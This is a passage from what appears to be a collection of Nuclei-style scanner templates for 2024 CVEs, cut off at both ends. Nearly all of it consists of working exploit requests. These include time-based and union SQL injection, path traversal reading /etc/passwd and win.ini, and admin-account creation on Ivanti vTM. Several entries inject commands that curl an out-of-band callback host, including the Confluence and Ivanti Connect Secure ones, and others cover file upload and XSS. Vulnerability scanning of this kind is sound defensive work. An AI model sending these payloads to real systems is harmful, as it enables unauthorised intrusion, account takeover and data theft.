30s\nGET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","name":"time-based","dsl":["duration_1>=6","duration_2>=6"]}]}]},{"id":"CVE-2024-41810","info":{"name":"Twisted - Open Redirect & XSS","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"matchers":[{"type":"word","part":"response","words":["TWISTED_SESSION","[\"Twisted"],"internal":true}]},{"method":"GET","path":["{{BaseURL}}?url=ws://example.com/\">"],"redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["Location: ws://example.com/\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2024-5084","info":{"name":"Hash Form <= 1.1.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP /1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{{md5(num)}}\n","GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body_2,\"success\",\"true\",\"url\") && status_code_2 == 200","contains(body_3,\"{{md5(num)}}\") && status_code_3 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body","group":1,"regex":["\"ajax_nounce\":\"([0-9a-z]+)\",\"preview_img"],"internal":true}]}]},{"id":"CVE-2024-7593","info":{"name":"Ivanti vTM - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST /apps/zxtm/wizard.fcgi?error=1§ion=Access+Management%3ALocalUsers HTTP/1.1\nHost: {{Hostname}}\n\n_form_submitted=form&create_user=Create&group=admin&newusername={{username}}&password1={{password}}&password2={{password}}\n"],"matchers":[{"type":"word","part":"body","words":["wizardtitletext"],"internal":true}]},{"raw":["@timeout: 15s\nPOST /apps/zxtm/login.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: {[RootURL]}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarycznFUOqD0Y01A9B5\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nReferer: {{RootURL}}/apps/zxtm/login.cgi\n\n------WebKitFormBoundarycznFUOqD0Y01A9B5\nContent-Disposition: form-data; name=\"_form_submitted\"\n\nform\n------WebKitFormBoundarycznFUOqD0Y01A9B5\nContent-Disposition: form-data; name=\"form_username\"\n\n{{username}}\n------WebKitFormBoundarycznFUOqD0Y01A9B5\nContent-Disposition: form-data; name=\"form_password\"\n\n{{password}}\n------WebKitFormBoundarycznFUOqD0Y01A9B5\nContent-Disposition: form-data; name=\"form_submit\"\n\nLogin\n------WebKitFormBoundarycznFUOqD0Y01A9B5--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Location: /apps/zxtm/","Set-Cookie: ZeusTMZAUTH=","Set-Cookie: ZeusTMZAUTHTIME="],"condition":"and"},{"type":"status","status":[302]}],"extractors":[{"type":"dsl","dsl":["\"USER: \"+ username","\"PASS: \"+ password"]}]}]},{"id":"CVE-2024-7339","info":{"name":"TVT DVR Sensitive Device - Information Disclosure","severity":"medium"},"requests":[{"raw":["POST /queryDevInfo HTTP/1.1\nHost: {{Hostname}}\n\n\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["softwareVersion","eth0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-2876","info":{"name":"Wordpress Email Subscribers by Icegram Express - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111\n"],"matchers":[{"type":"dsl","dsl":["duration>=4","status_code == 200","contains(header, \"application/json\")","contains_all(body, \"bulk_action\", \"_sent\", \"errortype\")"],"condition":"and"}]}]},{"id":"CVE-2024-32738","info":{"name":"CyberPower - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[":\"finished\"","\"success\":","modifiedtime\":"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"modifiedtime\":\"([0-9.]+)\""]}]}]},{"id":"CVE-2024-3495","info":{"name":"Wordpress Country State City Dropdown <=2.7.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,(select%20md5({{num}})),0x7c76657273696f6e3a,(select%20md5({{num}})),0x7c757365723a,user()),2,3--+-\n"],"matchers":[{"type":"word","part":"body_2","words":["{{md5(num)}}"]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["\"nonce\":\"(\\S*)\""],"internal":true}]}]},{"id":"CVE-2024-26331","info":{"name":"ReCrystallize Server - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/Admin/Admin.aspx"],"headers":{"Cookie":"AdminUsername=admin"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ReCrystallize Server Administration","License Status:","System Info"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-36991","info":{"name":"Splunk Enterprise - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /en-US/login HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"Splunk Inc.\")"],"condition":"and","internal":true}]},{"raw":["GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2024-1208","info":{"name":"LearnDash LMS < 4.10.3 - Sensitive Information Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/sfwd-question"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"question_type\":","\"points_total\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-28734","info":{"name":"Coda v.2024Q1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /coda/frameset?cols=\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-2621","info":{"name":"Fujian Kelixin Communication - Command Injection","severity":"medium"},"requests":[{"raw":["@timeout 15s\nGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(6)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains_all(body,\"msg\\\":\",\"header\\\":\",\"code\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2024-29972","info":{"name":"Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account","severity":"critical"},"requests":[{"raw":["GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, 'result=0')"],"condition":"and"}]}]},{"id":"CVE-2024-8484","info":{"name":"REST API TO MiniProgram <= 4.7.1 - SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/rest-api-to-miniprogram\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["@timeout 20s\nGET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(6)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains_all(body, \"code\",\"success\",\"status\")","contains(content_type,\"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-25852","info":{"name":"Linksys RE7000 - Command Injection","severity":"high"},"requests":[{"raw":["PUT /goform/AccessControl HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"AccessPolicy\":\"0\",\"AccessControlList\":\"`ps>/etc_ro/lighttpd/RE7000_www/{{filename}}.txt`\"}\n"]},{"raw":["GET /{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body_1,\"result\",\"success\") && contains_all(body_2,\"PID\",\"USER\",\"VSZ\",\"STAT\",\"COMMAND\")","status_code_1 == 200 && status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2024-22024","info":{"name":"Ivanti Connect Secure - XXE","severity":"high"},"requests":[{"raw":["POST /dana-na/auth/saml-sso.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLRequest={{base64(payload)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["/dana-na/","WriteCSS"],"condition":"and"}]}]},{"id":"CVE-2024-8181","info":{"name":"Flowise <= 1.8.2 Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /api/v1/apikey?/api/v1/ping HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nReferer: {{RootURL}}/document-stores\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apiKey","apiSecret"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"apiKey","part":"body","internal":false,"group":1,"regex":["\"apiKey\":\"([^\"]+)\""]}]}]},{"id":"CVE-2024-2389","info":{"name":"Progress Kemp Flowmon - Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/service.pdfs/confluence?lang=en&file=`curl+{{interactsh-url}}`"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http')","contains(header, 'application/json') && contains(header, 'Flowmon')"],"condition":"and"}]}]},{"id":"CVE-2024-34257","info":{"name":"TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection","severity":"high"},"requests":[{"raw":["POST /cgi-bin/cstecgi.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nReferer: {{RootURL}}/page/index.html\n\n{\n\"token\":\"\",\n\"apcliEncrypType\":\"`id>../{{file}}.txt`\",\n\"topicurl\":\"setWiFiExtenderConfig\"\n}\n","GET /{{file}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["\"success\": true"]},{"type":"regex","part":"body_2","regex":["uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-3850","info":{"name":"Uniview NVR301-04S2-P4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/V1.0%3CsVg/onload=alert.bind%28%29%281%29%3E/Alarm/Exceptions/LinkageActions?="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/V1.0/Alarm/Exceptions/LinkageActions?="],"condition":"and"},{"type":"word","part":"header","words":["NVRDVR"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-4885","info":{"name":"Progress Software WhatsUp Gold GetFileWithoutZip Directory Traversal - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /NmAPI/RecurringReport HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=utf-8\nSOAPAction: http://tempuri.org/IRecurringReportServices/TestRecurringReport\n\nfalseNoneC:\\PROGRA~2\\Ipswitch\\WhatsUp\\Data\\ScheduledReports25WhatsUpGold@YourDomain.comEmailing: Wireless Log5falseWhatsUp Goldtruefalsetrue00300htmlfalsefalsefalsefalse240PortraitLetterhtmlfalseg:i:s atrueC:\\\\Program Files (x86)\\\\Ipswitch\\\\WhatsUp\\\\html\\\\NmConsole\\\\falsefalse2e441d4d5a4b258b-11Intervaltruetruetruetruetruetruetrue13DayOfMonthFirstSunday11MinutesTimeInterval2024-07-05T16:59:14.047957+01:002024-07-05T16:59:14.047957+01:0013FirstSundayMarchDayOfYearMarch{\"title\":\"foo\",\"renderType\":\"aspx\",\"reports\":[{\"title\":\"thetitle\",\"url\":\"/NmConsole/api/Wireless/ReportWirelessLog\",\"dateRangeFilter\":{\"label\":\"Date Range\",\"n\":0,\"range\":\"Today\",\"text\":\"Today\"},\"severityFilter\":{\"label\":\"Severity\",\"value\":-1,\"text\":\"ALL\"},\"limit\":50,\"grid\":{\"emptyText\":\"[ No records found ]\",\"columns\":[{\"dataIndex\":\"Date\",\"text\":\"Date\",\"flex\":1},{\"dataIndex\":\"Severity\",\"text\":\"Severity\",\"flex\":1},{\"dataIndex\":\"Message\",\"text\":\"Message\",\"flex\":1}],\"filters\":[],\"sorters\":[]}}],\"baseUrl\":\"http://{{interactsh-url}}\",\"userId\":1}1admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["sPassword"]}]}]},{"id":"CVE-2024-0250","info":{"name":"Analytics Insights for Google Analytics 4 < 6.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/analytics-insights/tools/oauth2callback.php?state=https://oast.me/%3f&code=x"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2024-41628","info":{"name":"Cluster Control CMON API - Directory Traversal","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"ClusterControl\",\"CMON_API\")","contains(content_type,\"text/html\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /../../../../../../../../..//etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-1061","info":{"name":"WordPress HTML5 Video Player - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains(header, \"application/json\")","contains_all(body, \"created_at\", \"video_id\")"],"condition":"and"}]}]},{"id":"CVE-2024-27497","info":{"name":"Linksys E2000 1.0.06 position.js Improper Authentication","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/position.js"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var session_key","close_session","HELPPATH"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-40348","info":{"name":"Bazarr < 1.4.3 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/login"],"matchers":[{"type":"word","part":"body","words":["Bazarr","content=\"Bazarr","window.Bazarr"],"condition":"or","internal":true}]},{"method":"GET","path":["{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5421","info":{"name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/info/dir?/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/var/tmp","File System Info","face=\"courier"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5947","info":{"name":"Deep Sea Electronics DSE855 - Authentication Bypass","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"Copyright Deep Sea Electronics\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /Backup.bin HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type,\"Unknown\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-5932","info":{"name":"GiveWP - PHP Object Injection","severity":"critical"},"requests":[{"raw":["GET /wp-json/wp/v2/give_forms/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["\"type\":","\"guid\":"],"condition":"and","internal":true}],"extractors":[{"type":"json","part":"body","name":"value","internal":true,"json":[".[0].slug"]},{"type":"json","part":"body","name":"give-form-title","internal":true,"json":[".[0].title.rendered"]},{"type":"json","part":"body","name":"links","internal":true,"json":[".[0].link"]}]},{"raw":["GET /give/{{value}}?giveDonationFormInIframe=1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["give-form-hash","give-form-id-prefix"],"condition":"and","internal":true}],"extractors":[{"type":"regex","part":"body","group":1,"name":"give-form-hash","internal":true,"regex":["name=\"give\\-form\\-hash\" value=\"([0-9a-z]+)\""]},{"type":"regex","part":"body","group":1,"name":"give-form-id-prefix","internal":true,"regex":["name=\"give\\-form\\-id\\-prefix\" value=\"([0-9-]+)\""]},{"type":"regex","part":"body","group":1,"name":"give-form-id","internal":true,"regex":["name=\"give\\-form\\-id\" value=\"([0-9]+)\""]},{"type":"regex","part":"body","group":1,"name":"give-amount","internal":true,"regex":["give\\-form\\-minimum\"\\n\\s+value=\"([0-9.]+)\"\\/>"]}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ngive-honeypot=&give-form-id-prefix={{give-form-id-prefix}}&give-form-id={{give-form-id}}&give-form-title={{give-form-title}}&give-current-url={{links}}&give-form-url={{RootURL}}&give-form-minimum={{give-amount}}&give-form-maximum=1000000&give-form-hash={{give-form-hash}}&give-price-id=custom&give-amount={{give-amount}}&give_first={{firstname}}&give_last={{lastname}}&give_email={{email}}&give_stripe_payment_method=&give-user-id=1&give_action=purchase&give-gateway=manual&give_embed_form=1&action=give_process_donation&&give_title={{payload}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["\"error_data\"","\"unknown_error\""],"condition":"and"}]}]},{"id":"CVE-2024-21683","info":{"name":"Atlassian Confluence Data Center and Server - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /dologin.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nos_username={{username}}&os_password={{password}}&login=Log+in&os_destination=\n","POST /doauthenticate.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nX-Atlassian-Token: no-check\n\npassword={{password}}&authenticate=Confirm&destination=%2Fadmin%2Fplugins%2Fnewcode%2Faddlanguage.action\n","POST /admin/plugins/newcode/addlanguage.action HTTP/1.1\nHost: {{Hostname}}\nX-Atlassian-Token: no-check\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFcBwsDjo5LkYWGWE\n\n------WebKitFormBoundaryFcBwsDjo5LkYWGWE\nContent-Disposition: form-data; name=\"languageFile\";filename=\"{{randstr}}.js\"\nContent-type: text/javascript\n\nnew java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"curl\",\"{{interactsh-url}}\"]).start()\n------WebKitFormBoundaryFcBwsDjo5LkYWGWE\nContent-Disposition: form-data; name=\"newLanguageName\"\n\n{{randstr}}\n------WebKitFormBoundaryFcBwsDjo5LkYWGWE--\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 302 && status_code_2 == 302","contains(interactsh_protocol, 'dns')","contains(body_3, \"confluence\")"],"condition":"and"}]}]},{"id":"CVE-2024-7928","info":{"name":"FastAdmin < V1.3.4.20220530 - Path Traversal","severity":"medium"},"requests":[{"raw":["GET /index/ajax/lang?lang=../../application/database HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["jsonpReturn(","\"password\":","\"username\":","\"database\":"],"condition":"and"},{"type":"word","part":"content_type","words":["application/javascript"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6782","info":{"name":"Calibre <= 7.14.0 Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /interface-data/books-init HTTP/1.1\nHost: {{Hostname}}\nReferer: {{RootURL}}\n"],"extractors":[{"type":"json","name":"book_ids","internal":true,"json":[".search_result.book_ids[0]"]}]},{"raw":["POST /cdb/cmd/list HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n[\n [\"template\"],\n \"\",\n \"\",\n \"\",\n {{book_ids}},\n \"python:def evaluate(a, b):\\n import subprocess\\n try:\\n return subprocess.check_output(['cmd.exe', '/c', 'whoami'])\\n except Exception:\\n return subprocess.check_output(['sh', '-c', 'whoami'])\\n\"\n]\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["b'([^']+)"]},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-38288","info":{"name":"TurboMeeting - Post-Authentication Command Injection","severity":"high"},"requests":[{"raw":["POST /as/wapi/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnext_path=%2Fas%2Fwapi%2Fprofile_entry&Email={{username}}&Password={{password}}&submit=Login\n"],"matchers":[{"type":"word","part":"body","words":["as/wapi/profile_entry?sid="],"internal":true}],"extractors":[{"type":"regex","name":"sid","part":"body","group":1,"regex":["sid=(.*?)\""],"internal":true}]},{"raw":["@timeout: 20s\nPOST /as/wapi/generate_csr HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsid={{sid}}&common_name=1\"%20out%20/dev/null\"`curl%20{{interactsh-url}}`&company_name=1&state=1&city=1&country=US&submit=Generate+CSR\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["CSR","SSL"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2024-1380","info":{"name":"Relevanssi (A Better Search) <= 4.22.0 - Query Log Export","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=&relevanssi_export=1\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_all(header, \"filename=relevanssi_log.csv\", \"application/download\")","contains_all(body, \"user_id\", \"session_id\")"],"condition":"and"}]}]},{"id":"CVE-2024-5230","info":{"name":"FleetCart 4.1.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/en/products?query=123"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains_all(body, \"razorpayKeyId:\", \"loggedIn:\", \"storeName:\")","status_code == 200"],"condition":"and"},{"type":"word","words":["razorpayKeyId: ''"],"negative":true}]}]},{"id":"CVE-2024-32399","info":{"name":"RaidenMAILD Mail Server v.4.9.4 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/webeditor/../../../windows/win.ini"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"[fonts]\", \"for 16-bit app support\")","contains(header, \"application/octet-stream\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-32640","info":{"name":"Mura/Masa CMS - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nobject=displayregion&contenthistid=x\\'&previewid=1\n"],"matchers":[{"type":"dsl","dsl":["status_code == 500","contains(header, \"application/json\")","contains_all(body, \"Unhandled Exception\")","contains_all(header,\"cfid\",\"cftoken\")"],"condition":"and"}]}]},{"id":"CVE-2024-21887","info":{"name":"Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection","severity":"critical"},"requests":[{"raw":["GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["\"result\":","\"message\":"],"condition":"and"}]}]},{"id":"CVE-2024-33724","info":{"name":"SOPlanning 1.52.00 Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /process/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin={{username}}&password={{password}}\n","GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"attack":"pitchfork","payloads":{"username":["admin"],"password":["admin"]},"host-redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains_all(body_2, \"\", \"SOPlanning\")"],"condition":"and"}]}]},{"id":"CVE-2024-29889","info":{"name":"GLPI 10.0.10-10.0.14 - SQL Injection","severity":"high"},"requests":[{"raw":["GET /index.php?noAUTO=1 HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"fieldlogin","part":"body","group":1,"regex":["id=\"login_name\" name=\"([a-z0-9]+)"],"internal":true},{"type":"regex","name":"csrf","part":"body","group":1,"regex":["name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)"],"internal":true},{"type":"regex","name":"fieldpassword","part":"body","group":1,"regex":["id=\"login_password\" name=\"([0-9a-z]+)"],"internal":true}]},{"raw":["POST /front/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnoAUTO=1&redirect=&_glpi_csrf_token={{csrf}}&{{fieldlogin}}={{username}}&{{fieldpassword}}={{password}}&auth=local&submit=\n"],"matchers":[{"type":"dsl","dsl":["status_code == 302","contains(location,'front/central.php')"],"condition":"and","internal":true}]},{"raw":["GET /ajax/common.tabs.php?_glpi_tab=User%241&main_class=tab_cadre_fixe&_target=%2Fglpi%2Ffront%2Fpreference.php&_itemtype=Preference&id=0 HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"id","part":"body","group":1,"regex":["type='hidden' name='id' value='([0-9]+)'"],"internal":true}]},{"raw":["GET /front/preference.php HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"csrf2","part":"body","group":1,"regex":["type=\"hidden\" name=\"_glpi_csrf_token\" value=\"(.*?)\""],"internal":true}]},{"raw":["POST /front/preference.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryRNyVHuSeiTMi2G7K\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"savedsearches_pinned\"\n\n{\"exploit\":\"',api_token='{{randstr}}' where id={{id}};-- -\"}\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"_glpi_csrf_token\"\n\n{{csrf2}}\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"name\"\n\nglpi\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"id\"\n\n{{id}}\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"realname\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"_uploader_picture[]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"_blank_picture\"\n\n0\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"firstname\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"language\"\n\nen_US\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; name=\"password\"\n\n\n------WebKitFormBoundaryRNyVHuSeiTMi2G7K\nContent-Disposition: form-data; 